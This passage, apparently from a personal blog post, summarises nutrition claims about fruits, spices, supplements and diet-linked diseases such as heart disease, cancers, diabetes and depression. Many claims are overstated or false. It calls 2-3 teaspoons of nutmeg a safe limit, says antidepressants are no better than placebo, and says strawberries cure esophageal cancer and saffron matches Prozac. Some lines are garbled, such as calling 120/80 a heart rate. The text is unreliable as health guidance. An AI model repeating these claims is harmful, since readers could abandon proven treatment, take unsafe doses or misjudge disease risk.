<li><strong>Excessive salt</strong> intake not only causes high blood pressure but also increases the risk of stomach cancer.</li>
<li><strong>Pickled vegetables</strong>, due to salt, increase the risk of Stomach cancer. South Korea has the highest rate of stomach cancer because of Kimchi.</li>
<li><strong>Aspartame</strong>, an artificial sweetener causes depression.</li>
<li><strong>Stevia</strong> can be transformed into steviol by gut bacteria which can cause DNA damage.</li>
<li>Sorbitol and Xylitol are not absorbed by the body, end up in the colon and if consumed too much can cause diarrhea.</li>
<li><strong>Olive</strong> consumption is bad since Olives are soaked with brine (salt water). Olive oil is free of Sodium but devoid of nutrition as well. Extra-virgin Olive oil is no better. And Refined Olive oil is the worst. Oil to fat is what sugar to the fat. Avoid consuming it. Use water or vinegar for cooking.</li>
<li><strong>alfalfa sprouts</strong>, in the US, have been linked to multiple cases of Salmonella poisoning.</li>
<li><strong>Poppy seeds</strong> contain morphine. While one can safely consume a few tablespoons without getting intoxicated, the risk is always there. If you want to, soak them in water for 5 minutes and cook them.</li>
<li><strong>Nutmeg</strong>&rsquo;s safe limit is 2-3 teaspoons. It is hallucinating and habit-forming.</li>
</ol>
<h2 id="major-categories--of-nutritious-foods">Major Categories  of Nutritious Foods</h2>
<h3 id="fruits">Fruits</h3>
<ol>
<li><strong>Blending fruits is preferable to juicing</strong>. Fruit juices increase the risk of type 2 diabetes. Whole fruits lower the risk of type 2 diabetes.</li>
<li>Antioxidant power - Banana(40), Apple(60), Mango(110), Strawberry (310), Blackberry(650). In the US, <strong>Blackberries</strong> provide more antioxidants for the buck than strawberries. Frozen berries are as good as fresh ones. <strong>Eating blueberries</strong> is good for reducing exercise-induced inflammation.</li>
<li><strong>Tart cherries</strong> can be used to treat gout, a form of arthritis. They reduce inflammation in normal people too.</li>
<li><strong>Goji berries</strong> are high in Melatonin, antioxidants, and Zeaxanthin. Zeaxanthin, the compound that makes corn yellow, prevents vision loss. Don&rsquo;t buy them in normal stores, buy them in Asian supermarkets as &ldquo;Lycium berries&rdquo; where they are cheaper than raisins.</li>
<li><strong>Black Currants</strong> are good for dealing with eye strains caused by the computer. It is believed that the effect is due to anthocyanin pigment which, if true, means that aronia berries, elderberries, black raspberries, blueberries, blackberries, and red cabbage should have the same effect. Note that, 97% of the pigment is lost when a jam is made out of these berries.</li>
<li><strong>Crab apples</strong> are the most nutritious apples.</li>
<li>In the US, always buy <strong>mangoes</strong> from Indian grocery stores and not Walmart.</li>
<li><strong>Watermelon</strong> contains Citrulline which can cure ED. Two cups of <strong>watermelon</strong> before a workout reduces muscle soreness.</li>
<li>If you are buying dried fruits, don&rsquo;t take the one with added sugar to increase its weight or the one with Sulphite preservatives which can cause ulcerative colitis. Naturally, occurring Sulphur does not elevate this risk.</li>
<li><strong>Kiwifruit</strong> is good for Insomnia, Irritable Bowel Syndrome (IBS), and improved immunity.</li>
<li><strong>Citrus fruits</strong> (and not juices) boost DNA repair.</li>
</ol>
<h3 id="vegetables">Vegetables</h3>
<ol>
<li><strong>Cruciferous vegetables</strong> have Sulforaphane which is anti-cancerous, good for the brain and the eyes control nasal inflammation, and manage Type 2 diabetes. Broccoli is one of the great sources of it. Wait about 40 minutes between chopping and cooking or Sulforaphane producing enzyme myrosinase will not get a chance to act. Don&rsquo;t buy these vegetables frozen either since they are flash-cooked before freezing. Alternatively, put mustard, which contains myrosinase on frozen broccoli after cooking.</li>
<li><strong>Green vegetables</strong> contain Chlorophyll, which when exposed to light penetrating through the human body, produces the antioxidant CoQ10.</li>
<li>Just two spoons of <strong>Vinegar</strong> help with blood sugar control. It helps with losing abdominal fat as well.</li>
<li>Variety is as important as quantity. Different vegetables are good for different types of cancer. Eg. radish works against stomach cancer but is ineffective against pancreatic cancer. Therefore, one should eat a portfolio of vegetables. A great anti-cancer salad is spinach with toppings of beans, berries, nuts, garlic/green onion/leeks, and Brussels sprouts/cabbage/kale. As a rule of thumb always choose from allium and cruciferous vegetables. The most effective anti-cancer is garlic.</li>
<li><strong>Green Vegetable</strong> intake has been associated with reduced facial wrinkles.</li>
<li><strong>Mushrooms</strong> should not be eaten raw. They contain a toxin Agaritine which is destroyed by even 30 seconds of the microwave. Cooking does not destroy the antioxidant Ergothioneine which prevents DNA damage due to free radicals. Avoid Morel Mushrooms, they are high in Agaritine and further react with Alcohol after cooking.</li>
<li>Eat <strong>sweet potatoes</strong> without peeling. The peel&rsquo;s antioxidant capability is 10 times the inner flesh and is similar to blueberries. The stronger the color of sweet potatoes, the more nutritious they are. Due to Sweet potatoes&rsquo; nutritious nature, NASA has considered Sweet potatoes for future space missions. If you going to prefer plain potatoes over sweet ones then choose purple-colored ones. They are effective against hypertension.</li>
<li>Use <strong>peanut butter dips</strong> to make veggies more palatable for the kids. Even making up names like &ldquo;X-ray vision carrots&rdquo; increases the likelihood of kids eating more veggies. Kids mimic parents, so, parents have to eat healthily too.</li>
</ol>
<h3 id="nuts">Nuts</h3>
<ol>
<li>Fruit-and-nut bars with no added sugar are worse than fresh fruits but better than energy bars.</li>
<li><strong>Nuts</strong> do not cause weight gain. 70% of fat gets compensated by not getting calories elsewhere, 10% flushed out of the body, and 20% of which stays gets compensated by increased metabolism.</li>
<li><strong>Walnuts</strong> are the healthiest nuts due to their highest antioxidant and Omega-3 levels. Nuts, in general, are good at reducing the risk of both cancer and stroke.</li>
<li><strong>Peanuts</strong> are good against breast cancer.</li>
<li><strong>Pistachios</strong> are good at reducing erectile dysfunction in men.</li>
</ol>
<h3 id="herbs-and-spices">Herbs and spices</h3>
<ol>
<li><strong>Turmeric</strong> with soy is great for people suffering from Osteoarthritis. A quarter spoonful of turmeric should be part of everyone&rsquo;s daily diet. While Turmeric can prevent Gallstones, those who already have it should not take Turmeric since it causes the Gallbladder to squeeze leading to more pain. Turmeric can also lead to kidney stones, avoid taking more than one teaspoon a day.</li>
<li><strong>Black pepper can boost the absorption of another spice like Turmeric</strong>. It contains Piperine which inhibits the Liver&rsquo;s ability to make foreign particles water-soluble. A quarter teaspoon of black pepper causes Curcumin absorption from Turmeric in the blood to go up by 20 times.</li>
<li><strong>Cilantro</strong> is good for people suffering from arthritis.</li>
<li><strong>Fenugreek</strong> is great for muscle performance boosting, for example, for men doing weight training.</li>
<li><strong>Red hot peppers</strong> and chilies are great for people suffering from chronic pain since Capsaicin, the burning substance exhausts the body&rsquo;s pain neurotransmitters. 1-2 teaspoons are sufficient.</li>
<li>Ginger performs better than Sumatriptan, the leading drug, in curing headaches, and that too without any sedative side effects of the drug. 1/8th of a teaspoon is sufficient.</li>
<li><strong>Ginger</strong> is great for not only reducing menstrual cramps but also minimizing bleeding. It is as effective as Ibuprofen which does not reduce bleeding. Ginger cures nausea as well, so, good during pregnancy, chemotherapy, and morning sickness in general. Ayurveda calls it <em>maha-aushadhi,</em> or mega-medicine.</li>
<li><strong>Peppermint</strong> is the most commonly available herb with the most antioxidants.</li>
<li><strong>Clove</strong> is the most commonly available spice with the most antioxidants.</li>
<li><strong>Amla</strong> is packed with even more antioxidants but is available only in Indian stores. It is the most important ingredient of Ayurveda. A single teaspoon of it contains 753 antioxidant units, for comparison, an egg has 8 and half a cup of blueberries has 323. Buy the powdered ones in an Indian spice store. Stay away from Ayurvedic supplements since they might contain heavy metals, sometimes, even intentionally.</li>
<li><strong>Oregano</strong> prevents DNA damage due to radiation exposure. It has anti-inflammatory properties as well.</li>
<li><strong>Marjoram</strong> has been shown to improve hormonal balance in women.</li>
<li><strong>Salt-free spice mixes</strong> like Indian Garam Masala, Chinese five spice powder, Middle Eastern Za&rsquo;atar, Ethiopian Berbere, and Italian seasonings are a good combination of spices.</li>
<li>Cassia (Chinese) Cinnamon can lower blood sugar levels but contains toxic coumarin. More expensive Ceylon Cinnamon is not toxic but does not seem to have the blood sugar lowering the effect of Cassia. Any unlabeled Cinnamon in the US is the cheaper Cassia which should be avoided.</li>
<li>Aspirin contains Salicylic acid, a blood thinner, which is good for preventing heart attacks and increases the risk of a brain hemorrhage. A normal dose of Aspirin, therefore, is good for people at risk of a heart attack. For a normal person, <strong>cumin</strong> (Indian spice <em>jeera</em>) is equivalent to taking a low dose of Aspirin. And plant-based salicylic acid comes with in-built protection (nitric oxides), so, it does not cause ulcers. Chilli powder, Paprika, and Turmeric are good as well. Organic vegetables have more of it since once laced with pesticides don&rsquo;t produce the defense hormone Salicylic acid that often. Whole-grain bread has 100 times more Salicylic acid than white bread.</li>
</ol>
<h3 id="whole-grains">Whole Grains</h3>
<ol>
<li>Counter to the popular myth, whole grain consumption is anti-inflammatory.</li>
<li>If you have celiac disease as per a formal valuation then go on a gluten-free diet. The general population will make their gut health worse by going gluten-free and thus, should not do that.</li>
<li><strong>Popcorn</strong> is a good whole grain. Use Chlorella as a seasoning on top. Avoid diacetyl, the artificial butter, which causes lung disease.</li>
<li>Ignore the marketing label while buying whole grains. <strong>Look at the label if the carbohydrates to fiber ratio is less than 5, it&rsquo;s whole grain otherwise it is not.</strong></li>
<li>Try eating <strong>whole grains</strong> instead of their powdered form. More of it will make it beyond the stomach into the gut improving gut bacteria.</li>
<li><strong>Oats</strong> are classic whole grains. And due to their popularity, it is easy to buy them while traveling.</li>
</ol>
<h3 id="beverages">Beverages</h3>
<ol>
<li>Unsurprisingly, <strong>soda is the worst beverage</strong>. Beer and milk are one notch above. Milk-free unsweetened tea is the second-best beverage after water.</li>
<li>Drink at least 5 glasses of tap water a day.</li>
<li>Persons below 45 should consume less than 4 cups of coffee a day.</li>
<li>People suffering from acid reflux (GERD) should <strong>drink tea instead of coffee</strong>. People with epilepsy should avoid coffee. People with high cholesterol should drink filtered coffee.</li>
<li>Coffee consumption increases fracture risk in women but decreases it in men.</li>
<li><strong>Green tea leaves</strong> are extremely powerful. They have been shown to cure genital warts. Green tea is anti-allergic, anti-cancerous, and reduces diabetes risk and tooth loss. Both green tea without lemon and white tea with lemon is better than black tea. Matcha, powdered green tea, is even better, one can make a smoothie out of it. Stay away from Kombucha tea, it has been linked to toxicity in some cases.</li>
<li>Too much tea (20 bags for adults, 3 for children) can cause fluorosis due to the fluoride content of the tea.</li>
<li><strong>Hibiscus tea</strong> is the drink with the highest antioxidants.</li>
</ol>
<h3 id="physical-activity">Physical activity</h3>
<ol>
<li>Sitting increases mortality. Consider using a standing desk.</li>
<li>An hour-long walk can reduce mortality by 24%.</li>
</ol>
<h2 id="supplements---safe-or-unsafe">Supplements - safe or unsafe</h2>
<h3 id="issues-with-taking-supplements">Issues with taking supplements</h3>
<ol>
<li>Active compounds in food do not work in isolation. So, a pill of the active compound sometimes has reduced or no effect compared to the food.</li>
<li>Sometimes manufacturing of supplements itself leads to the addition of toxin-heavy metals.</li>
<li>Sometimes pills contain unusually high dosage amounts of naturally occurring substances which itself can pose a risk.</li>
</ol>
<h3 id="supplements-are-less-effective">Supplements are less effective</h3>
<ol>
<li>Hesperidin supplement reduces blood pressure and increases blood flow but Orange which contains Hesperidin is even more effective.</li>
<li>Turmeric whose active ingredient is Curcumin is more potent than Curcumin supplements. Even Curcumin-free Turmeric has been shown to have anti-cancer properties, sometimes, even more than Curcumin itself. Turmeric pills contain extremely high concentrations of Curcumin which can itself do DNA damage.</li>
</ol>
<h3 id="supplements-dont-work">Supplements don&rsquo;t work</h3>
<ol>
<li>Plant-based high levels of Vitamin E in diet reduce the risk of asthma by 50%. Vitamin E supplements have no positive side effects.</li>
<li>Naturally occurring antioxidants are good against Lymphoma, a type of blood cancer, but supplements showed no improvement.</li>
<li>Folate cures depression. Folate supplements don&rsquo;t work.</li>
<li>Antioxidants containing foods like green leafy vegetables cure depression. Antioxidant supplements don&rsquo;t seem to work.</li>
<li>BroccoMax, a Broccoli supplement when put to the test produced no effects compared to eating Broccoli.</li>
<li>Vinegar helps with blood sugar control. Vinegar pills seem to have no effect.</li>
</ol>
<h3 id="supplements-are-toxic">Supplements are toxic</h3>
<ol>
<li>Metabolife, a supplement was studied only on 35 people. No adverse effects were found. When it was introduced to the market, several had liver damage and deaths due to Hydroxycut.</li>
<li>Antioxidants like Vitamins A, E, and Beta-carotene, when taken as supplements, increase the death risk.</li>
<li>Green tea is good but green tea supplements cause liver toxicity.</li>
<li>Coca leaves are safe, but their extract, cocaine is addictive. Fruits are safe, but their extracted sugar is not healthy.</li>
</ol>
<h3 id="good-supplements-to-consume">Good supplements to consume</h3>
<ol>
<li><strong>Vitamin B12</strong> - Vegetarians must take 2.5 mg of cyanocobalamin a day. Methylcobalamin is unproven.</li>
<li><strong>Vitamin D</strong> - people living in colder climates should take this supplement.</li>
<li><strong>Iodine</strong> - eat rich food like Nori seaweed (2 sheets a day) or take a supplement.</li>
<li><strong>Long-chain Omega-3 acids</strong> - 250 mg from algae and not seafood since seafood is contaminated with heavy metals.</li>
</ol>
<h2 id="killer-diseases">Killer Diseases</h2>
<h3 id="1---heart-diseases">1 - Heart Diseases</h3>
<ol>
<li>High cholesterol causes a heart attack.</li>
<li>Heart diseases are caused by LDL, the bad cholesterol. It comes from trans fats (processed food, meat, and dairy), saturated fats (animal products), and dietary cholesterol (eggs). Even fetuses can get this artery-clogging cholesterol from their mothers. The goal should be to keep it below 70 mg/dL or a total cholesterol rating of around 150 mg/dL. US total cholesterol average is ~200 mg/dL.</li>
<li>Statins lower cholesterol but have side effects including liver damage, muscle damage, and memory loss.</li>
<li>Meat harbors endotoxins, bacteria which is not killed by cooking temperature, stomach acid, or digestive enzyme. They reach the intestine, are absorbed by the blood, and cause artery inflammation.</li>
<li>Decades of research have shown that meat and dairy are responsible for heart diseases but their lobbies are strong. In 1977, many senators on the Senate Committee on Nutrition Needs got a huge backlash and lost re-elections for suggesting a decrease in meat consumption.</li>
<li>In rural China and rural Africa, heart diseases are non-existent. But when Africans transitioned to a Western diet, the heart disease rate shot up. So, it wasn&rsquo;t about the genes.</li>
<li>In the famous DART study, fish oil reduced mortality by 29% but in a follow-on, DART-2 results were reversed. <strong>Stay away from Omega-3 fish oil supplements.</strong></li>
<li><strong>Brazilian nuts</strong>, just 4 a month, can lower cholesterol levels. The study has not been re-attempted but one should go for 4 nuts a month given no harm. Don&rsquo;t take too much since they are high on Selenium.</li>
<li><strong>Kale</strong> reduces bad cholesterol (LDL) levels and enhances good cholesterol (HDL) levels.</li>
</ol>
<h3 id="2---lung-diseases">2 - Lung Diseases</h3>
<ol>
<li>As per the American Lung Association, smoking tobacco causes 90% of lung cancer deaths.</li>
<li>Smoking increases cancer risk ~10-20x. Second-hand smoking increases cancer risk by 20-30%.</li>
<li>A plant-based diet helps with the prevention and cure of Chronic Obstructive Pulmonary Disease (COPD) as well as Asthma.</li>
<li><strong>Broccoli</strong> reduces the harmful effect of DNA mutations in smokers.</li>
</ol>
<h3 id="3---brain-diseases-stroke-and-alzheimers">3 - Brain diseases (Stroke and Alzheimer&rsquo;s)</h3>
<h4 id="stroke">Stroke</h4>
<ol>
<li>Sirtuin enzymes promote healthy aging and longevity. AGE (Advanced Glycation end products) are gerontotoxins that cause Sirtuin suppression. Dairy and meat products top the list of AGE-containing food.</li>
<li>7-8 hours of sleep is best to avoid stroke. The risk increases both for those who sleep less and those who sleep more.</li>
<li>Fiber-rich food decreases stroke risk. 7 gms more of Fiber leads to a 7% reduction in the risk.</li>
<li><strong>Greens</strong>, <strong>beans</strong>, and <strong>sweet potatoes</strong> are good sources of Potassium which cuts down the stroke risk. 1640 mg of Potassium leads to a 21% reduction in stroke risk.</li>
<li><strong>Citrus fruits</strong> like Oranges contain Hesperidin which reduces blood pressure and increases blood flow. This not only helps reduce the stroke risk but can also help you feel warmer in cold weather.</li>
</ol>
<h4 id="alzheimers">Alzheimer&rsquo;s</h4>
<ol>
<li>Alzheimer&rsquo;s disease is caused by plaque deposition in the blood-supplying vessels to the brain leading to dementia. The gene ApoE4 produces a protein that carries cholesterol to the brain. 1 in 7 humans has a defective copy of this gene making them susceptible to Alzheimer&rsquo;s. Genetically speaking, Nigerians should be most susceptible to Alzheimer&rsquo;s due to the high rate of ApoE4 mutation. However, they have one of the lowest rates due to low consumption of animal fat. Similarly, rural India has one of the lowest rates of Alzheimer&rsquo;s due to a plant-based diet.</li>
<li>Regular exercising improves cognitive abilities for those with Alzheimer&rsquo;s.</li>
<li><strong>Saffron</strong> is the best cure and is as effective as the leading drug Donepezil. This does not mean much since the leading drug is not very effective either.</li>
<li><strong>Cranberries</strong>, <strong>blueberries</strong>, <strong>strawberries</strong>, and <strong>Concord grape juice</strong> contain polyphenols that reduce cognitive decline in the elderly.</li>
</ol>
<h3 id="4---digestive-cancers">4 - Digestive Cancers</h3>
<ol>
<li>Meat contains heme iron which the human body is bad at regulating. Excess iron buildup leads to cancer and heart disease.</li>
<li>Animal fat consumption is positively correlated with pancreatic cancer. Plant-based fat is not.</li>
<li>Smoking doubles the risk of Pancreatic cancer. Eating 50 gms of chicken daily increases the risk of Pancreatic cancer by 72%. The cause-effect relation is hard to establish in the chicken&rsquo;s case but the hypothesis is that antibiotics and cancer viruses in Chickens are responsible for it. Chicken slaughterhouse workers have 9 times the risk of pancreatic cancer.</li>
<li>Esophageal cancer is correlated with red meat and poultry consumption. Acid Reflux (GERD) increases the risk of Esophageal cancer as well. Vegetables, berries, apples, and citrus fruits are best to prevent this cancer. <strong>Strawberries</strong> cure Esophageal cancer.</li>
<li>Inadequate intake of Fiber causes constipation and Hiatal Hernia. Fibers bind to toxins like Mercury and Lead eliminating them from our bodies.</li>
<li>Phytates found in plant seeds (grains, nuts, and beans) reduce iron excess in the body. Otherwise, this iron forms free hydroxyl radicals. Phytates are as effective against Osteoporosis as the leading drug Fosamax but without the side effects. A meat-based diet not only misses Phytates but also contains iron (heme).</li>
<li><strong>Nuts</strong>, <strong>seeds</strong>, and <strong>dry fruits</strong> are good sources of iron. Consuming vitamin c increases iron absorption.</li>
<li>Due to <strong>Turmeric</strong> consumption, India has a much lower rate of colorectal cancer than the US.</li>
<li>Consuming <strong>berries</strong> reduces rectal polyps.</li>
</ol>
<h3 id="5---infections">5 - Infections</h3>
<ol>
<li>Eggs lead to Salmonella poisoning. The most popular cooking method sunny-side up does not kill Salmonella.</li>
<li>Properly cooking eggs or chicken can eliminate food poisoning risk but what happens is that between the time tainted produce is picked up from the store and slid into the oven, it has contaminated kitchen surfaces and utensils. Chicken preparation is the reason why kitchen sinks have more fecal bacteria than toilet seats in the US.</li>
<li>Yersinia bacteria infection is tied to pork. And two-thirds of the pork samples tested by Consumer Reports were infected. When sick, always cough or sneeze into the bent elbow to avoid infecting others.</li>
<li>Fruits and vegetables boost the immune system.</li>
<li><strong>Blueberries</strong> and to an even greater extent <strong>Cardamom</strong> are antibody boosters.</li>
<li>Cruciferous vegetables like <strong>Broccoli</strong> boost the immune system both against pathogens and pollutants like smoke. Some pollutants like dioxins are blocked not just by Broccoli but also by camel pee.</li>
<li><strong>Kale</strong> seems to be pretty promising in labs in antibody production but real-world studies have been limited.</li>
<li><strong>Garlic</strong> can be used for pneumonia since garlic gets absorbed in the bloodstream and that&rsquo;s what leads to garlic breath as it is being exhaled from the lungs.</li>
<li><strong>Fiber</strong> and <strong>beans</strong> are prebiotics, that is, what probiotics (good bacteria) eat. Eating prebiotics improves gut flora which in turn improves immunity.</li>
<li>Regular <strong>Exercise</strong> improves the immune system and drastically reduces ailments like the common cold. Sustained exercise like a marathon though hurts the immune system. For the athletes, Chlorella, green color algae, and nutritional yeast are recommended to boost the immune system.</li>
<li>Eating <strong>Mushrooms</strong> boosts immunity by increasing IgA in saliva by 50%. It also has an anti-inflammatory effect on allergies.</li>
</ol>
<h3 id="6---diabetes">6 - Diabetes</h3>
<ol>
<li>Our Pancreas produces insulin, which along with glucose flows into the bloodstream. When insulin is absorbed by insulin receptors, the cells open up to accept glucose. When insulin production is abnormally low, it leads to Type 1 diabetes. The exact causes are unknown but it is believed to be genetic. When insulin production is normal but the fat in the bloodstream interferes with insulin functioning, it causes Type 2 diabetes. High-fat diet, especially animal fat, is correlated to Type 2 diabetes.</li>
<li>Trimming belly fat is the best way to treat Diabetes. Rather than starving yourself, eat more <strong>legumes</strong> to trim the belly fat since both are equally effective. The other advantage of the plant-based diet is that it is not as calorie-rich as meat-based. Since the stretching of the stomach cells signals to the brain that the stomach is full, therefore, humans consume about the same volume of food but much fewer calories on a plant-based diet.</li>
<li>Hexachlorobenzene is believed to be an obesogenic chemical pollutant. Sardines and Salmons in supermarkets are tainted with it.</li>
<li>  
    
    
<a href="https://www.ncbi.nlm.nih.gov/pubmed/20592131?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EPIC-PANACEA</a>, a study in Europe, concluded that the same amount of calories consumed from meat leads to more weight gain than those from plants. The worst form of weight gain was caused by chicken meat.</li>
<li>A   
    
    
<a href="https://www.ncbi.nlm.nih.gov/pubmed/24523914?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">study</a> in Taiwan demonstrated that vegetarians have a 50-75% lower chance of diabetes than occasional fish and meat eaters.</li>
<li>The human body produces Insulin-producing Beta cells until the age of 20. LDL cholesterol kills them.</li>
<li><strong>Whole grains</strong> like brown rice reduce Type 2 diabetes risk. Refined grains like white rice increase it.</li>
</ol>
<h3 id="7----high-blood-pressure">7 -  High Blood Pressure</h3>
<ol>
<li>Normal heart rate is 120/80, 120 is systolic when the heart is pushing and 80 is diastolic when the heart is resting.</li>
<li>For 90% of human history, we used to consume a low amount of salt, and therefore body learned to conserve it. Now, when we consume excess salt, the body raises blood pressure to push the excess salt out. High Sodium reduces blood flow in the arteries. The effects can be overcome by consuming Vitamin C. American Heart Association recommends no more than 1500 mg a day (~3/4th of a teaspoon) of salt.</li>
<li>Plant-based diet already contains salt. Avoiding salty food and not adding salt to the food can cut down strokes by 22% and heart attacks by 16%. In a study of Yanomamo Indians, living inside the Amazon rainforest, with no salt intake, have 100/60 blood pressure, the same as the infants are born with. Many patients with eye-popping blood pressure, also known as malignant hypertension, were cured by a rice-and-fruit-only diet. In the US, vegetarians have repeatedly been shown to have the lowest blood pressure. Even marathon runners who run 48 miles a week and are on a standard American meat diet have higher blood pressure than vegans.</li>
<li>Meat companies add salt to the meat since that increases water retention and increases weight by ~20% for a little added cost.</li>
<li>Biggest sources of Sodium in the USA - Pizza for kids, chicken for adults 20-50 years old, and bread for older than 50 years.</li>
<li>When buying processed food, buy food whose serving size is in grams &gt; amount of salt in milligrams per serving size, <strong>for example, if the serving size is 100 gms, buy it only if salt is less than 100 mg per serving size.</strong></li>
<li>Three portions of <strong>whole grains</strong> a day lower the blood pressure.</li>
<li><strong>Flaxseeds</strong> lower blood pressure.</li>
<li>Wine, with the alcohol removed, lowers blood pressure.</li>
<li><strong>Watermelons</strong> lower blood pressure too but you have to eat two pounds a day.</li>
<li><strong>Hibiscus tea</strong> is best for lowering blood pressure.</li>
<li>NO (Nitric Oxide) signals arteries to open up. <strong>Antioxidant-rich food</strong> like berries and dark chocolate boost Nitrate production. Beets and greens especially, Cilantro and Arugula are the best sources of nitrate.</li>
</ol>
<h3 id="8---liver-diseases">8 - Liver Diseases</h3>
<ol>
<li>Heavy alcohol consumption causes fatty liver which reduces its efficacy. Moderate alcohol consumption is good for the heart but increases cancer risk, the overall effect is life-prolonging only for those who are not taking good care of their health.</li>
<li>The most common cause of liver problems though is a non-alcoholic fatty liver disease (NAFLD). Sugar, animal fat, and cholesterol cause NAFLD. One can of soda a day increases the risk of NAFLD by 45%. Meat fat causes NAFLD, whereas plant fat does not.</li>
<li>Hepatitis C is another major liver disease. Chlorella, green algae, seems to work but the evidence is not thorough enough.</li>
<li>Hepatitis E virus (HEV) comes from pork liver. Proper cooking while avoiding cross-contamination can prevent it. It is not deadly except for pregnant women.</li>
<li><strong>Oatmeal</strong> and <strong>coffee</strong> are good for the liver. Coffee has been effective against both liver cancer and hepatitis C.</li>
<li><strong>Berries, grapes, red onions, and plums</strong> are good sources of anthocyanins. Anthocyanins, which give plants their purple, red, and blue color seem to work against fatty cell deposition in the liver.</li>
<li><strong>Cranberry</strong>, in a petri dish, is best for killing liver cancer. Don&rsquo;t buy processed cranberries or juices, buy frozen ones instead.</li>
</ol>
<h3 id="9---blood-cancer-leukemia-lymphoma-and-myeloma">9 - Blood Cancer (Leukemia, Lymphoma, and Myeloma)</h3>
<ol>
<li>Leukemia happens when the bone marrow produces too many abnormal White Blood Cells (WBC) which crowd out the healthy ones.</li>
<li>Lymphoma happens when lymphocytes, special WBCs multiply too much and accumulate in lymph nodes. This impairs the lymph node&rsquo;s ability to filter blood.</li>
<li>Myeloma happens when abnormal plasma cells, special WBCs that produce antibodies, are produced. They clog the kidneys.</li>
<li>Even 50 gm of poultry consumption, most likely because of poultry viruses, is associated with an increased risk of various blood cancers by 56-280%. That&rsquo;s one reason why farmers and butchers have a high rate of blood cancer. Even butchers&rsquo; wives have a high rate of cervical cancer. The correlations are strong but the role of poultry viruses in causing human cancer is not established.</li>
<li>Diet Coke has been associated with an increased risk of blood cancer in some studies but the correlation didn&rsquo;t show up in the follow-on ones.</li>
<li>A plant-based diet is effective against blood cancer.</li>
<li>Eat more <strong>Broccoli, Cauliflower, and Kale</strong>. Sulforaphane, in cruciferous vegetables, is pretty effective against cancer cells. Unlike Chemotherapy, it does not kill normal cells.</li>
<li><strong>Acai berries</strong> work on Leukemia cells in a petri dish. Relative ordering by antioxidants per dollar: <strong>purple cabbage &gt; cinnamon &gt; cloves &gt; walnuts</strong>.</li>
<li>Multiple myelomas are untreatable. 1% of precancerous conditions MGUS proceed to this. Curcumin found in <strong>Turmeric</strong> seems to be partially effective.</li>
</ol>
<h3 id="10---kidney-diseases">10 - Kidney Diseases</h3>
<ol>
<li>Chronic Kidney Disease (CKD) degrades Kidneys over time leading to eventual failure. Only 41% of Americans seem to have normal Kidney function.</li>
<li>Animal protein, animal fat, and cholesterol have been associated with kidney degradation.</li>
<li>Animal protein causes inflammation and triggers hyperfiltration in the Kidneys. Plant protein does not cause it. Animal Protein causes a higher risk of Kidney stones.</li>
<li>Acid-forming foods like meats, eggs, and cheese are responsible for Kidney damage. Base-forming foods like fruits and vegetables are not.</li>
<li>High Phosphorus consumption causes kidney and heart failure. Animal food contains readily absorbing phosphate while plant food contains a phytate form of Phosphorus. Coca-cola and chicken contain Phosphate to enhance color. Europe has banned the practice of adding Phosphate to meat, but the US has not. <strong>Don&rsquo;t buy anything whose ingredients include pyrophosphate or sodium triphosphate.</strong></li>
<li>Meat contains more nitrosamines, a carcinogenic, than cigarettes. Eating one hot dog is equivalent to smoking 4 cigarettes worth of carcinogenic.</li>
<li>Nitrates and Nitrites in plant food are good. But combined with amines and amides from animal sources they become carcinogenic compounds.</li>
</ol>
<h3 id="11---breast-cancer">11 - Breast Cancer</h3>
<ol>
<li>Alcohol consumption leads to the production of Acetaldehyde, a carcinogen, which is associated with breast cancer.</li>
<li>Higher cholesterol levels =&gt; faster breast cancer growth.</li>
<li>Red wine or <strong>purple grapes</strong> suppress the activity of the enzyme Estrogen Synthase which suppresses breast cancer growth. Strawberries, Pomegranates, and white Mushrooms have the same effect as well.</li>
<li>Blind women have half the risk of breast cancer due to higher Melatonin production. Working in late shifts decreases Melatonin production. Meat consumption and bad sleeping habits lower Melatonin production.</li>
<li>Walking at least an hour a day is associated with a lower risk of breast cancer.</li>
<li>Eating <strong>Fiber</strong> decreases the risk of breast cancer.</li>
<li><strong>Apple</strong> <strong>peel</strong> turns on Maspin, a cancer suppressor that fights breast cancer.</li>
<li>Sulforaphane, found in <strong>Broccoli</strong>, fights against breast cancer cells.</li>
<li>Lignans are phytoestrogens that suppress estrogen. <strong>Flaxseeds</strong> have 100 times more Lignans than other foods. A daily spoon of Flaxseeds shortens the menstrual cycle by a day reducing estrogen exposure and the breast cancer risk. Flaxseeds also increase Endostatin levels which are a protein produced by the body to starve the tumor of the blood supply. Don&rsquo;t eat ungrounded flaxseed or they may pass through the body without digestion.</li>
<li><strong>Soybeans</strong> contain isoflavones which is another class of phytoestrogens. Their intake has been correlated with a lower risk of breast cancer as well as fighting breast cancer.</li>
<li>Eating <strong>Mushrooms</strong> and <strong>Green tea</strong> has been associated with lowering the risk of Breast cancer.</li>
</ol>
<h3 id="12---depression">12 - Depression</h3>
<ol>
<li>Mental health impacts physical health. Healthy people fall sick less often.</li>
<li>Arachidonic acid increases the risk of depression. Eggs and chicken have it. The body produces this acid already for inflammation, you don&rsquo;t need it from the diet.</li>
<li>Depressed people have a high level of Monoamine Oxidase (MAO) enzyme in their brains. This enzyme eats neurotransmitters. Antidepressants boost neurotransmitters. Foods like Apples, Grapes, Onion, Green Tea, clove, cinnamon, and nutmeg depress this enzyme.</li>
<li><strong>Exercise</strong> is an antidepressant.</li>
<li><strong>Sesame, Pumpkin, and Butternut Squash</strong> seeds are high in Tryptophan, the building block of Serotonin, and are good at curing social anxiety and depression.</li>
<li><strong>Fruits and green leafy vegetables</strong> have a high amount of antioxidants and Folate which works against depression.</li>
<li>Antidepressant pills, prescribed to 8% of the US population, are no better than a placebo but have tons of side effects like sexual dysfunction, long-term weight gain, and insomnia.</li>
<li><strong>Saffron</strong> is as good as Prozac, the leading drug, in terms of curing depression and with no side effects. The leading drug itself, though, is not very effective. In this rare case, Saffron, the natural remedy is more expensive than the drug.</li>
</ol>
<h3 id="13---prostate-cancer">13 - Prostate Cancer</h3>
<ol>
<li>Cow&rsquo;s organic milk, in the petri dish, increases the growth of human prostate cancer cells by about 30%. While almond milk suppressed the growth of cancer cells by 30%.</li>
<li>Milk consumption has been associated with a higher fracture rate in women and a higher mortality rate in both men and women.</li>
<li>Egg consumption has been associated with a higher rate of prostate cancer. Choline, a compound found in high doses in eggs, is the cause here. Choline in eggs, like carnitine in meat, is converted to the toxin trimethylamine. Carcinogens in chicken and Turkey are the worst.</li>
